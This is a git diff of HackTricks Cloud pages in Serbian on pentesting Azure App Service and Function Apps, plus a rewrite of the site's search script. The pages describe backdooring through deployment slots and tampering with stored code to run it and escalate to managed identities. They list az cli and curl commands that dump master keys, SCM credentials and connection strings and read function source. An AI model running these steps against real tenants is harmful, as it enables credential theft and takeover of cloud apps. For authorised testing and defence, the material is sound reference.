Azure App Service Slots se koriste za **implementaciju različitih verzija aplikacije** na istom App Service-u. Ovo omogućava programerima da testiraju nove funkcije ili promene u odvojenom okruženju pre nego što ih implementiraju u produkcijsko okruženje.
Pored toga, moguće je usmeriti **procenat saobraćaja** na određeni slot, što je korisno za A/B testiranje i za **backdoor svrhe**.
@@ -91,7 +92,7 @@ U suštini, **Azure Function aplikacije su podskup Azure App Service** u web kon
Stoga, obe usluge zapravo imaju većinom **iste konfiguracije, funkcije i opcije u az cli**, iako ih možda malo drugačije konfigurišu (kao što su podrazumevane vrednosti appsettings ili korišćenje Storage naloga u Function aplikacijama).
## Enumeracija
## Enumeration
{{#tabs }}
{{#tab name="az" }}
@@ -176,6 +177,10 @@ az webapp conection list --name <name> --resource-group <res-group>
# Get hybrid-connections of a webapp
az webapp hybrid-connections list --name <name> --resource-group <res-group>
# Get configured SMC users by your account
az webapp deployment user show
## If any user is created, the username should appear in the "publishingUserName" field
```
{{#endtab }}
@@ -288,14 +293,14 @@ Prijavljivanje na SCM portal ili prijavljivanje putem FTP-a omogućava da se u `
> [!TIP]
> Samo povezivanje putem FTP-a i modifikovanje fajla `output.tar.gz` nije dovoljno da se promeni kod koji izvršava web aplikacija.
**Napadač bi mogao preuzeti ovaj fajl, modifikovati ga i ponovo ga otpremiti da bi izvršio proizvoljan kod u web aplikaciji.**
**Napadač bi mogao da preuzme ovaj fajl, modifikuje ga i ponovo ga otpremi da bi izvršio proizvoljan kod u web aplikaciji.**
### Python sa Github-a
Ovaj tutorijal se zasniva na prethodnom, ali koristi Github repozitorijum.
1. Forkujte repozitorijum msdocs-python-flask-webapp-quickstart na vašem Github nalogu.
2. Kreirajte novu python Web App u Azure-u.
2. Kreirajte novu python Web aplikaciju u Azure-u.
3. U `Deployment Center` promenite izvor, prijavite se sa Github-om, izaberite forkovani repozitorijum i kliknite na `Save`.
Kao u prethodnom slučaju, prijavljivanje na SCM portal ili prijavljivanje putem FTP-a omogućava da se u `/wwwroot` vidi kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije.

View File

@@ -4,7 +4,7 @@
## Osnovne Informacije
**Azure Function Apps** su **serverless compute service** koje vam omogućavaju da pokrećete male delove koda, nazvane **functions**, bez upravljanja osnovnom infrastrukturom. Dizajnirane su da izvršavaju kod kao odgovor na različite okidače, kao što su **HTTP zahtevi, tajmeri ili događaji iz drugih Azure servisa** poput Blob Storage ili Event Hubs. Function Apps podržavaju više programskih jezika, uključujući C#, Python, JavaScript i Java, što ih čini svestranim za izgradnju **aplikacija vođenih događajima**, automatizaciju radnih tokova ili integraciju servisa. Troškovi su efikasni, jer obično plaćate samo vreme obrade kada se vaš kod izvršava.
**Azure Function Apps** su **serverless compute service** koje vam omogućavaju da pokrećete male delove koda, nazvane **functions**, bez upravljanja osnovnom infrastrukturom. Dizajnirane su da izvršavaju kod kao odgovor na različite okidače, kao što su **HTTP zahtevi, tajmeri ili događaji iz drugih Azure servisa** poput Blob Storage ili Event Hubs. Function Apps podržavaju više programskih jezika, uključujući C#, Python, JavaScript i Java, što ih čini svestranim za izgradnju **aplikacija vođenih događajima**, automatizaciju radnih tokova ili integraciju servisa. Troškovi su efikasni, jer obično plaćate samo za vreme obrade kada se vaš kod izvršava.
> [!NOTE]
> Imajte na umu da su **Functions podskup App Services**, stoga će mnoge od funkcija o kojima se ovde govori koristiti i aplikacije kreirane kao Azure Apps (`webapp` u cli).
@@ -12,23 +12,23 @@
### Različiti Planovi
- **Flex Consumption Plan**: Nudi **dinamičko, događajima vođeno skaliranje** sa plaćanjem po korišćenju, dodajući ili uklanjajući instance funkcija na osnovu potražnje. Podržava **virtuelno umrežavanje** i **pre-provisioned instances** kako bi se smanjili hladni startovi, što ga čini pogodnim za **varijabilne radne opterećenja** koja ne zahtevaju podršku kontejnera.
- **Traditional Consumption Plan**: Podrazumevani serverless izbor, gde **plaćate samo za resurse obrade kada funkcije rade**. Automatski se skalira na osnovu dolaznih događaja i uključuje **optimizacije hladnog starta**, ali ne podržava implementacije kontejnera. Idealno za **intermitentna radna opterećenja** koja zahtevaju automatsko skaliranje.
- **Traditional Consumption Plan**: Podrazumevani serverless izbor, gde **plaćate samo za resurse obrade kada funkcije rade**. Automatski se skalira na osnovu dolaznih događaja i uključuje **optimizacije hladnog starta**, ali ne podržava implementacije kontejnera. Idealno za **povremena radna opterećenja** koja zahtevaju automatsko skaliranje.
- **Premium Plan**: Dizajniran za **dosledne performanse**, sa **prewarmed workers** kako bi se eliminisali hladni startovi. Nudi **produžene vreme izvršenja, virtuelno umrežavanje**, i podržava **prilagođene Linux slike**, što ga čini savršenim za **aplikacije od kritične važnosti** koje zahtevaju visoke performanse i napredne funkcije.
- **Dedicated Plan**: Radi na posvećenim virtuelnim mašinama sa **predvidljivim naplatama** i podržava ručno ili automatsko skaliranje. Omogućava pokretanje više aplikacija na istom planu, pruža **izolaciju obrade**, i osigurava **siguran pristup mreži** putem App Service Environments, što ga čini idealnim za **dugotrajne aplikacije** koje zahtevaju doslednu alokaciju resursa.
- **Container Apps**: Omogućava implementaciju **kontejnerizovanih funkcija** u upravljanom okruženju, zajedno sa mikroservisima i API-ima. Podržava prilagođene biblioteke, migraciju nasleđenih aplikacija, i **GPU obradu**, eliminišući upravljanje Kubernetes klasterima. Idealno za **događajima vođene, skalabilne kontejnerizovane aplikacije**.
### **Storage Buckets**
Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za izvršavanje), **kod i drugi podaci vezani za funkciju biće pohranjeni u Storage nalogu**. Po defaultu, web konzola će kreirati novi za svaku funkciju kako bi pohranila kod.
Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za izvršavanje), **kod i drugi podaci vezani za funkciju će biti pohranjeni u Storage nalogu**. Po defaultu, web konzola će kreirati novi za svaku funkciju kako bi pohranila kod.
Štaviše, modifikovanjem koda unutar bucket-a (u različitim formatima u kojima može biti pohranjen), **kod aplikacije će biti modifikovan na novi i izvršen** sledeći put kada se funkcija pozove.
> [!CAUTION]
> Ovo je veoma zanimljivo iz perspektive napadača jer **pristup za pisanje preko ovog bucket-a** omogućava napadaču da **kompromituje kod i eskalira privilegije** na upravljane identitete unutar Function App-a.
> Ovo je veoma zanimljivo iz perspektive napadača jer **pristup za pisanje preko ovog bucket-a** će omogućiti napadaču da **kompromituje kod i eskalira privilegije** na upravljane identitete unutar Function App-a.
>
> Više o ovome u **odeljku o eskalaciji privilegija**.
Takođe je moguće pronaći **master i funkcijske ključeve** pohranjene u storage nalogu u kontejneru **`azure-webjobs-secrets`** unutar foldera **`<app-name>`** u JSON datotekama koje možete pronaći unutra.
Takođe je moguće pronaći **master i functions ključeve** pohranjene u storage nalogu u kontejneru **`azure-webjobs-secrets`** unutar foldera **`<app-name>`** u JSON datotekama koje možete pronaći unutra.
Imajte na umu da Functions takođe omogućavaju pohranu koda na udaljenoj lokaciji jednostavno ukazujući na URL.
@@ -46,7 +46,7 @@ Korišćenjem HTTP okidača:
Moguće je konfigurisati varijable okruženja unutar aplikacije, koje mogu sadržati osetljive informacije. Štaviše, po defaultu se kreiraju varijable okruženja **`AzureWebJobsStorage`** i **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (među ostalima). Ove su posebno zanimljive jer **sadrže ključ naloga za kontrolu sa POTPUNIM dozvolama nad storage nalogom koji sadrži podatke aplikacije**. Ova podešavanja su takođe potrebna za izvršavanje koda iz Storage naloga.
Ove varijable okruženja ili parametri konfiguracije takođe kontrolišu kako funkcija izvršava kod, na primer, ako **`WEBSITE_RUN_FROM_PACKAGE`** postoji, to će ukazivati na URL gde se nalazi kod aplikacije.
Ove varijable okruženja ili parametri konfiguracije takođe kontrolišu kako funkcija izvršava kod, na primer, ako **`WEBSITE_RUN_FROM_PACKAGE`** postoji, to će ukazivati na URL gde se kod aplikacije nalazi.
### **Function Sandbox**
@@ -54,22 +54,24 @@ Unutar linux sandbox-a, izvorni kod se nalazi u **`/home/site/wwwroot`** u datot
U **Windows** funkciji koja koristi NodeJS, kod se nalazio u **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, korisničko ime je bilo **`mawsFnPlaceholder8_f_v4_node_20_x86`** i bio je deo **grupa**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
### **Upravljane Identitete & Metapodaci**
### **Upravljani Identiteti & Metapodaci**
Baš kao i [**VMs**](vms/index.html), Functions mogu imati **Upravljane Identitete** od 2 tipa: Sistem dodeljen i Korisnik dodeljen.
**Sistem dodeljen** će biti upravljani identitet koji **samo funkcija** koja ga ima dodeljenog može koristiti, dok su **korisnik dodeljeni** upravljani identiteti upravljani identiteti koje **bilo koja druga Azure usluga može koristiti**.
**Sistem dodeljen** će biti upravljani identitet koji **samo funkcija** kojoj je dodeljen može koristiti, dok su **korisnik dodeljeni** upravljani identiteti upravljani identiteti koje **bilo koja druga Azure usluga može koristiti**.
> [!NOTE]
> Baš kao u [**VMs**](vms/index.html), Functions mogu imati **1 sistem dodeljen** upravljani identitet i **several korisnik dodeljenih**, tako da je uvek važno pokušati pronaći sve njih ako kompromitujete funkciju jer biste mogli biti u mogućnosti da eskalirate privilegije na nekoliko upravljanih identiteta iz samo jedne funkcije.
> Baš kao u [**VMs**](vms/index.html), Functions mogu imati **1 sistem dodeljen** upravljani identitet i **nekoliko korisnik dodeljenih**, tako da je uvek važno pokušati pronaći sve njih ako kompromitujete funkciju jer biste mogli biti u mogućnosti da eskalirate privilegije na nekoliko upravljanih identiteta iz samo jedne funkcije.
>
> Ako se ne koristi sistemski upravljani identitet, ali su jedan ili više korisničkih upravljanih identiteta povezani sa funkcijom, po defaultu nećete moći dobiti nijedan token.
Moguće je koristiti [**PEASS skripte**](https://github.com/peass-ng/PEASS-ng) za dobijanje tokena iz podrazumevanog upravljanog identiteta sa metapodataka krajnje tačke. Ili ih možete dobiti **ručno** kao što je objašnjeno u:
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
Imajte na umu da treba da pronađete način da **proverite sve Upravljane Identitete koje funkcija ima povezane** jer ako to ne naznačite, metapodataka krajnja tačka će **koristiti samo podrazumevani** (proverite prethodni link za više informacija).
Imajte na umu da treba da pronađete način da **proverite sve Upravljane Identitete koje funkcija ima povezane** jer ako to ne naznačite, metapodaci krajnje tačke će **koristiti samo podrazumevani** (proverite prethodni link za više informacija).
## Ključevi Pristupa
@@ -84,10 +86,10 @@ Kada kreirate krajnju tačku unutar funkcije koristeći **HTTP okidač**, moguć
**Tipovi ključeva:**
- **Funkcijski Ključevi:** Funkcijski ključevi mogu biti ili podrazumevani ili korisnički definisani i dizajnirani su da omogućavaju pristup isključivo **određenim funkcijskim krajnjim tačkama** unutar Function App-a, omogućavajući finiju kontrolu pristupa nad krajnjim tačkama.
- **Host Ključevi:** Host ključevi, koji takođe mogu biti podrazumevani ili korisnički definisani, pružaju pristup **svim funkcijskim krajnjim tačkama unutar Function App-a sa FUNCTION nivoom pristupa**.
- **Master Ključ:** Master ključ (`_master`) služi kao administrativni ključ koji nudi povišene dozvole, uključujući pristup svim funkcijskim krajnjim tačkama (uključujući ADMIN nivo pristupa). Ovaj **ključ se ne može opozvati.**
- **Sistemski Ključevi:** Sistemski ključevi su **upravljani specifičnim ekstenzijama** i potrebni su za pristup webhook krajnjim tačkama koje koriste interni komponenti. Primeri uključuju Event Grid okidač i Durable Functions, koji koriste sistemske ključeve za sigurno interagovanje sa svojim API-ima.
- **Ključevi funkcija:** Ključevi funkcija mogu biti podrazumevani ili korisnički definisani i dizajnirani su da omogućavaju pristup isključivo **određenim krajnjim tačkama funkcija** unutar Function App-a, omogućavajući finiju kontrolu pristupa nad krajnjim tačkama.
- **Ključevi hosta:** Ključevi hosta, koji takođe mogu biti podrazumevani ili korisnički definisani, pružaju pristup **svim krajnjim tačkama funkcija unutar Function App-a sa nivoom pristupa FUNCTION**.
- **Master ključ:** Master ključ (`_master`) služi kao administrativni ključ koji nudi povišene dozvole, uključujući pristup svim krajnjim tačkama funkcija (uključujući nivo pristupa ADMIN). Ovaj **ključ se ne može opozvati.**
- **Sistemski ključevi:** Sistemski ključevi su **upravljani specifičnim ekstenzijama** i potrebni su za pristup webhook krajnjim tačkama koje koriste interni komponenti. Primeri uključuju Event Grid okidač i Durable Functions, koji koriste sistemske ključeve za sigurno interagovanje sa svojim API-ima.
> [!TIP]
> Primer za pristup funkciji API krajnjoj tački koristeći ključ:
@@ -192,14 +194,14 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
```
</details>
Pored toga, **Upravljani identitet** se takođe kreira kako bi Github akcija iz repozitorijuma mogla da se prijavi u Azure. To se postiže generisanjem Federated kredencijala preko **Upravljanog identiteta** koji omogućava **Izdavaču** `https://token.actions.githubusercontent.com` i **Identifikatoru subjekta** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
Pored toga, **Upravljani identitet** se takođe kreira kako bi Github akcija iz repozitorijuma mogla da se prijavi u Azure. To se postiže generisanjem Federated kredencijala preko **Upravljenog identiteta** koji omogućava **Izdavaču** `https://token.actions.githubusercontent.com` i **Identifikatoru subjekta** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
> [!CAUTION]
> Stoga, svako ko kompromituje taj repozitorijum će moći da kompromituje funkciju i Upravljene identitete povezane s njom.
> Stoga, svako ko kompromituje taj repo moći će da kompromituje funkciju i Upravljene identitete povezane s njom.
### Implementacije zasnovane na kontejnerima
Nisu svi planovi omogućili implementaciju kontejnera, ali za one koji to rade, konfiguracija će sadržati URL kontejnera. U API-ju, podešavanje **`linuxFxVersion`** će imati nešto poput: `DOCKER|mcr.microsoft.com/...`, dok će u web konzoli konfiguracija prikazivati **podešavanja slike**.
Nisu svi planovi omogućeni za implementaciju kontejnera, ali za one koji to omogućavaju, konfiguracija će sadržati URL kontejnera. U API-ju, podešavanje **`linuxFxVersion`** će imati nešto poput: `DOCKER|mcr.microsoft.com/...`, dok će u web konzoli konfiguracija prikazivati **podešavanja slike**.
Pored toga, **niti jedan izvorni kod neće biti pohranjen u skladištu** povezanu sa funkcijom jer to nije potrebno.
@@ -211,10 +213,10 @@ Pored toga, **niti jedan izvorni kod neće biti pohranjen u skladištu** povezan
# List all the functions
az functionapp list
# Get info of 1 funciton (although in the list you already get this info)
az functionapp show --name <app-name> --resource-group <res-group>
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
## This is using a container
# List functions in an function-app (endpoints)
az functionapp function list \
--name <app-name> \
--resource-group <res-group>
# Get details about the source of the function code
az functionapp deployment source show \
@@ -231,6 +233,9 @@ az functionapp config container show \
# Get settings (and privesc to the sorage account)
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
# Get access restrictions
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
# Check if a domain was assigned to a function app
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
@@ -240,22 +245,41 @@ az functionapp config ssl list --resource-group <res-group>
# Get network restrictions
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Get acess restrictions
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
# Get connection strings
az rest --method POST --uri "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/connectionstrings/list?api-version=2022-03-01"
az rest --method GET --uri "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/configreferences/connectionstrings?api-version=2022-03-01"
# Get SCM credentials
az functionapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Get function, system and master keys
az functionapp keys list --name <app-name> --resource-group <res-group>
# Get Host key
az rest --method POST --uri "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<function-endpoint-name>/listKeys?api-version=2022-03-01"
# Get source code with Master Key of the function
curl "<script_href>?code=<master-key>"
## Python example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
curl "https://<func-app-name>.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
# Get source code using SCM access (Azure permissions or SCM creds)
az rest --method GET \
--url "https://<func-app-name>.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" \
--resource "https://management.azure.com/"
# Get source code with Azure permissions
az rest --url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
## Another example
az rest --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/ConsumptionExample/hostruntime/admin/vfs/HttpExample/index.js?relativePath=1&api-version=2022-03-01"
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
Get-Command -Module Az.Functions
# Lists all Function Apps in the current subscription or in a specific resource group.

10
theme/elasticlunr.min.js vendored Normal file

File diff suppressed because one or more lines are too long

View File

@@ -1,554 +1,172 @@
/* ────────────────────────────────────────────────────────────────
Polyfill so requestIdleCallback works everywhere (IE 11/Safari)
─────────────────────────────────────────────────────────────── */
if (typeof window.requestIdleCallback !== "function") {
window.requestIdleCallback = function (cb) {
const start = Date.now();
return setTimeout(function () {
cb({
didTimeout: false,
timeRemaining: function () {
return Math.max(0, 50 - (Date.now() - start));
}
});
}, 1);
};
window.cancelIdleCallback = window.clearTimeout;
}
/* ────────────────────────────────────────────────────────────────
search.js
─────────────────────────────────────────────────────────────── */
/* ht_searcher.js ────────────────────────────────────────────────
Dualindex WebWorker search (HackTricks + HackTricksCloud)
· keeps working even if one index fails
· cloud results rendered **blue**
· ⏳ while loading → 🔍 when ready
*/
(() => {
"use strict";
window.search = window.search || {};
(function search(search) {
// Search functionality
//
// You can use !hasFocus() to prevent keyhandling in your key
// event handlers while the user is typing their search.
if (!Mark || !elasticlunr) {
return;
/* ───────────── 0. helpers (main thread) ───────────── */
const clear = el => { while (el.firstChild) el.removeChild(el.firstChild); };
/* ───────────── 1. WebWorker code ─────────────────── */
const workerCode = `
self.window = self;
self.search = self.search || {};
const abs = p => location.origin + p;
/* 1 — elasticlunr */
try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); }
catch { importScripts(abs('/elasticlunr.min.js')); }
/* 2 — load a single index (remote → local) */
async function loadIndex(remote, local, isCloud=false){
let rawLoaded = false;
try {
const r = await fetch(remote,{mode:'cors'});
if (!r.ok) throw new Error('HTTP '+r.status);
importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'})));
rawLoaded = true;
} catch(e){ console.warn('remote',remote,'failed →',e); }
if(!rawLoaded){
try { importScripts(abs(local)); rawLoaded = true; }
catch(e){ console.error('local',local,'failed →',e); }
}
//IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith
if (!String.prototype.startsWith) {
String.prototype.startsWith = function(search, pos) {
return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search;
};
}
var search_wrap = document.getElementById('search-wrapper'),
search_modal = document.getElementById('search-modal'),
searchbar = document.getElementById('searchbar'),
searchbar_outer = document.getElementById('searchbar-outer'),
searchresults = document.getElementById('searchresults'),
searchresults_outer = document.getElementById('searchresults-outer'),
searchresults_header = document.getElementById('searchresults-header'),
searchicon = document.getElementById('search-toggle'),
content = document.getElementById('content'),
searchindex = null,
doc_urls = [],
results_options = {
teaser_word_count: 30,
limit_results: 30,
},
search_options = {
bool: "AND",
expand: true,
fields: {
title: {boost: 1},
body: {boost: 1},
breadcrumbs: {boost: 0}
}
},
mark_exclude = [],
marker = new Mark(content),
current_searchterm = "",
URL_SEARCH_PARAM = 'search',
URL_MARK_PARAM = 'highlight',
teaser_count = 0,
SEARCH_HOTKEY_KEYCODE = 83,
ESCAPE_KEYCODE = 27,
DOWN_KEYCODE = 40,
UP_KEYCODE = 38,
SELECT_KEYCODE = 13;
function hasFocus() {
return searchbar === document.activeElement;
}
function removeChildren(elem) {
while (elem.firstChild) {
elem.removeChild(elem.firstChild);
}
}
// Helper to parse a url into its building blocks.
function parseURL(url) {
var a = document.createElement('a');
a.href = url;
return {
source: url,
protocol: a.protocol.replace(':',''),
host: a.hostname,
port: a.port,
params: (function(){
var ret = {};
var seg = a.search.replace(/^\?/,'').split('&');
var len = seg.length, i = 0, s;
for (;i<len;i++) {
if (!seg[i]) { continue; }
s = seg[i].split('=');
ret[s[0]] = s[1];
}
return ret;
})(),
file: (a.pathname.match(/\/([^/?#]+)$/i) || [,''])[1],
hash: a.hash.replace('#',''),
path: a.pathname.replace(/^([^/])/,'/$1')
};
}
// Helper to recreate a url string from its building blocks.
function renderURL(urlobject) {
var url = urlobject.protocol + "://" + urlobject.host;
if (urlobject.port != "") {
url += ":" + urlobject.port;
}
url += urlobject.path;
var joiner = "?";
for(var prop in urlobject.params) {
if(urlobject.params.hasOwnProperty(prop)) {
url += joiner + prop + "=" + urlobject.params[prop];
joiner = "&";
}
}
if (urlobject.hash != "") {
url += "#" + urlobject.hash;
}
return url;
}
// Helper to escape html special chars for displaying the teasers
var escapeHTML = (function() {
var MAP = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&#34;',
"'": '&#39;'
};
var repl = function(c) { return MAP[c]; };
return function(s) {
return s.replace(/[&<>'"]/g, repl);
};
})();
function formatSearchMetric(count, searchterm) {
if (count == 1) {
return count + " search result for '" + searchterm + "':";
} else if (count == 0) {
return "No search results for '" + searchterm + "'.";
} else {
return count + " search results for '" + searchterm + "':";
}
}
function formatSearchResult(result, searchterms) {
var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms);
teaser_count++;
// The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor
var url = doc_urls[result.ref].split("#");
if (url.length == 1) { // no anchor found
url.push("");
}
// encodeURIComponent escapes all chars that could allow an XSS except
// for '. Due to that we also manually replace ' with its url-encoded
// representation (%27).
var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27");
return '<a href="' + path_to_root + url[0] + '?' + URL_MARK_PARAM + '=' + searchterms + '#' + url[1]
+ '" aria-details="teaser_' + teaser_count + '">' + result.doc.breadcrumbs
+ '<span class="teaser" id="teaser_' + teaser_count + '" aria-label="Search Result Teaser">'
+ teaser + '</span>' + '</a>';
}
function makeTeaser(body, searchterms) {
// The strategy is as follows:
// First, assign a value to each word in the document:
// Words that correspond to search terms (stemmer aware): 40
// Normal words: 2
// First word in a sentence: 8
// Then use a sliding window with a constant number of words and count the
// sum of the values of the words within the window. Then use the window that got the
// maximum sum. If there are multiple maximas, then get the last one.
// Enclose the terms in <em>.
var stemmed_searchterms = searchterms.map(function(w) {
return elasticlunr.stemmer(w.toLowerCase());
});
var searchterm_weight = 40;
var weighted = []; // contains elements of ["word", weight, index_in_document]
// split in sentences, then words
var sentences = body.toLowerCase().split('. ');
var index = 0;
var value = 0;
var searchterm_found = false;
for (var sentenceindex in sentences) {
var words = sentences[sentenceindex].split(' ');
value = 8;
for (var wordindex in words) {
var word = words[wordindex];
if (word.length > 0) {
for (var searchtermindex in stemmed_searchterms) {
if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) {
value = searchterm_weight;
searchterm_found = true;
}
};
weighted.push([word, value, index]);
value = 2;
}
index += word.length;
index += 1; // ' ' or '.' if last word in sentence
};
index += 1; // because we split at a two-char boundary '. '
};
if (weighted.length == 0) {
return body;
}
var window_weight = [];
var window_size = Math.min(weighted.length, results_options.teaser_word_count);
var cur_sum = 0;
for (var wordindex = 0; wordindex < window_size; wordindex++) {
cur_sum += weighted[wordindex][1];
};
window_weight.push(cur_sum);
for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) {
cur_sum -= weighted[wordindex][1];
cur_sum += weighted[wordindex + window_size][1];
window_weight.push(cur_sum);
};
if (searchterm_found) {
var max_sum = 0;
var max_sum_window_index = 0;
// backwards
for (var i = window_weight.length - 1; i >= 0; i--) {
if (window_weight[i] > max_sum) {
max_sum = window_weight[i];
max_sum_window_index = i;
}
};
} else {
max_sum_window_index = 0;
}
// add <em/> around searchterms
var teaser_split = [];
var index = weighted[max_sum_window_index][2];
for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) {
var word = weighted[i];
if (index < word[2]) {
// missing text from index to start of `word`
teaser_split.push(body.substring(index, word[2]));
index = word[2];
}
if (word[1] == searchterm_weight) {
teaser_split.push("<em>")
}
index = word[2] + word[0].length;
teaser_split.push(body.substring(word[2], index));
if (word[1] == searchterm_weight) {
teaser_split.push("</em>")
}
};
return teaser_split.join('');
}
function init(config) {
results_options = config.results_options;
search_options = config.search_options;
searchbar_outer = config.searchbar_outer;
doc_urls = config.doc_urls;
searchindex = elasticlunr.Index.load(config.index);
// Set up events
searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false);
search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false);
search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false);
searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false);
document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false);
// If the user uses the browser buttons, do the same as if a reload happened
window.onpopstate = function(e) { doSearchOrMarkFromUrl(); };
// Suppress "submit" events so the page doesn't reload when the user presses Enter
document.addEventListener('submit', function(e) { e.preventDefault(); }, false);
// If reloaded, do the search or mark again, depending on the current url parameters
doSearchOrMarkFromUrl();
}
function unfocusSearchbar() {
// hacky, but just focusing a div only works once
var tmp = document.createElement('input');
tmp.setAttribute('style', 'position: absolute; opacity: 0;');
searchicon.appendChild(tmp);
tmp.focus();
tmp.remove();
}
// On reload or browser history backwards/forwards events, parse the url and do search or mark
function doSearchOrMarkFromUrl() {
// Check current URL for search request
var url = parseURL(window.location.href);
if (url.params.hasOwnProperty(URL_SEARCH_PARAM)
&& url.params[URL_SEARCH_PARAM] != "") {
showSearch(true);
searchbar.value = decodeURIComponent(
(url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20'));
searchbarKeyUpHandler(); // -> doSearch()
} else {
showSearch(false);
}
if (url.params.hasOwnProperty(URL_MARK_PARAM)) {
var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' ');
marker.mark(words, {
exclude: mark_exclude
});
var markers = document.querySelectorAll("mark");
function hide() {
for (var i = 0; i < markers.length; i++) {
markers[i].classList.add("fade-out");
window.setTimeout(function(e) { marker.unmark(); }, 300);
}
}
for (var i = 0; i < markers.length; i++) {
markers[i].addEventListener('click', hide);
}
}
}
// Eventhandler for keyevents on `document`
function globalKeyHandler(e) {
if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; }
if (e.keyCode === ESCAPE_KEYCODE) {
e.preventDefault();
searchbar.classList.remove("active");
setSearchUrlParameters("",
(searchbar.value.trim() !== "") ? "push" : "replace");
if (hasFocus()) {
unfocusSearchbar();
}
showSearch(false);
marker.unmark();
} else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) {
e.preventDefault();
showSearch(true);
window.scrollTo(0, 0);
searchbar.select();
} else if (hasFocus() && e.keyCode === DOWN_KEYCODE) {
e.preventDefault();
unfocusSearchbar();
searchresults.firstElementChild.classList.add("focus");
} else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE
|| e.keyCode === UP_KEYCODE
|| e.keyCode === SELECT_KEYCODE)) {
// not `:focus` because browser does annoying scrolling
var focused = searchresults.querySelector("li.focus");
if (!focused) return;
e.preventDefault();
if (e.keyCode === DOWN_KEYCODE) {
var next = focused.nextElementSibling;
if (next) {
focused.classList.remove("focus");
next.classList.add("focus");
}
} else if (e.keyCode === UP_KEYCODE) {
focused.classList.remove("focus");
var prev = focused.previousElementSibling;
if (prev) {
prev.classList.add("focus");
} else {
searchbar.select();
}
} else { // SELECT_KEYCODE
window.location.assign(focused.querySelector('a'));
}
}
}
function showSearch(yes) {
if (yes) {
search_wrap.classList.remove('hidden');
searchicon.setAttribute('aria-expanded', 'true');
} else {
search_wrap.classList.add('hidden');
searchicon.setAttribute('aria-expanded', 'false');
var results = searchresults.children;
for (var i = 0; i < results.length; i++) {
results[i].classList.remove("focus");
}
}
}
function showResults(yes) {
if (yes) {
searchresults_outer.classList.remove('hidden');
} else {
searchresults_outer.classList.add('hidden');
}
}
// Eventhandler for search icon
function searchIconClickHandler() {
if (search_wrap.classList.contains('hidden')) {
showSearch(true);
window.scrollTo(0, 0);
searchbar.select();
} else {
showSearch(false);
}
}
// Eventhandler for keyevents while the searchbar is focused
function searchbarKeyUpHandler() {
